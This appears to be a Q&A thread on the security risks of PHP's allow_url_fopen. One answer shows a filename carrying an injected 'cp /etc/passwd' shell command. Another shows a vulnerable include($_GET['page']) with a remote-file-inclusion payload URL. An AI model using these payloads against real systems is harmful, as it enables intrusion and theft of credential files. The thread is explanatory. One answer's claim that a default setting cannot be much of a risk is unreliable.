11

Recently I was reading an article about file_get_contents and HTTPS.

One part that caught my attention is:

Of course, the allow_url_fopen setting also carries a separate risk of enabling Remote File Execution, Access Control Bypass or Information Disclosure attacks. If an attacker can inject a remote URI of their choosing into a file function they could manipulate an application into executing, storing or displaying the fetched file including those from any untrusted remote source. It’s also worth bearing in mind that such file fetches would originate from localhost and thus be capable of bypassing access controls based on local server restrictions. As such, while allow_url_fopen is enabled by default, you should disable it without hesitation to maximise security.

I have 2 questions:

  1. What can an attacker do with allow_url_fopen and how he would do it?
  2. Is allow_url_fopen always a security risk or only when you accept user input in fopen wrapper?

Other interesting links

Gudradain
  • 6,921
  • 2
  • 26
  • 43

3 Answers3

6

A sample attack scenario using allow_url_fopen that allows me to download your password file:

  1. Suppose your app allows me to provide a URL to a remote image, which you will download and use as my avatar image.
  2. I provide the following URL: "http://my.malicious.example.com/sbwoodside.jpg;cp%20/etc/passwd%20downloads/foo.jpg;"
  3. Your app uses allow_url_fopen to download the file and stores it as "sbwoodside.jpg;cp%20/etc/passwd%20downloads/passwords.txt;". I have now successfully injected a command into the filename.
  4. Your app wants to compress and resize my image, so you use ImageMagick on the command line with something like exec("magick convert -size 128x128 ".$filename." ".$filename.".128.jpg")
  5. What does exec actually execute? If you haven't sanitized the filename, then it executes the following on the shell:

magick convert -size 128x128 sbwoodside.jpg;cp /etc/passwd downloads/passwords.txt; sbwoodside.jpg;cp /etc/passwd downloads/passwords.txt;.128.jpg

Since ; is a command delimited on the shell, that will be broken by the shell automatically into the following separate commands:

magick convert -size 128x128 sbwoodside.jpg cp /etc/passwd downloads/passwords.txt sbwoodside.jpg cp /etc/passwd downloads/passwords.txt .128.jpg

And now I just go to http://yourapp.com/downloads/passwords.txt and download your password file. Of course, I can do anything I want, since I'm executing commands as your web server on your system.

Simon Woodside
  • 265
  • 3
  • 10
  • 5
    I don't see what `allow_url_fopen` has to do with this attack. The vulnerabilities here are a) saving content at a filename controlled by the user; and b) failing to escape parameters to a shell command. The code would have to know it was expecting a URL to parse out the filename, and would therefore be just as vulnerable whatever HTTP client it was using. – IMSoP Nov 21 '18 at 09:49
  • 3
    I can only assume people upvoting this don't know the context in which `allow_url_fopen` vulnerabilities are discussed. For instance, [one of the links in the question](http://phpsec.org/projects/phpsecinfo/tests/allow_url_fopen.html) says "consider using the cURL functions provided by PHP"; if we replace step 3 of this attack with "Your app uses *the cURL functions provided by PHP*...", the attack proceeds exactly the same way, and *we are no safer at all*. Therefore it's quite clear that this is *not* the kind of attack that people are talking about when they make that suggestion. – IMSoP Nov 21 '18 at 16:17
1

It depends on you! how you designed your applications and are you considered security during all software development life-cycle?

Consider insecure code below that loads web pages according to request parameter (page):

<?php
include($_GET['page']);
?>

And now consider an attacker includes malicious PHP code by using:

?page=http://example.com/badcode-php.txt

He can then bypass all security measure from your site and do anything (accessing local files, uploading another files, etec).

So its recommended that to turn of allow_urL_fopen and allow_url_include to minimize remote file execution attack.

Akam
  • 1,327
  • 3
  • 14
  • 23
1

If it is enabled by default, it can't be much of a security hole. Just follow safe practices with all incoming data and you should be OK.

It is worth stating for the newbies, that, if allow_url_include and allow_url_fopen were both enabled, it would not make a difference to your code unless you actually wrote the code to access URLs with an "include" statement or through "fopen" or some other file access command. As long as your server is configured to only give up the output of the PHP file and not the PHP itself, no one will be able to include your PHP functions from a remote server. They will only be able to request the PHP page or other content, but the code itself won't ever be visible.

Those properties, even if they are on, don't enable requests that will expose your PHP code. Look at your server's documentation for more details. It has been written so many times that no one brings it up, but don't execute commands in your PHP that have been sent through a GET or POST request. Escape any data before you post it to a file or to a page.

schroeder
  • 123,438
  • 55
  • 284
  • 319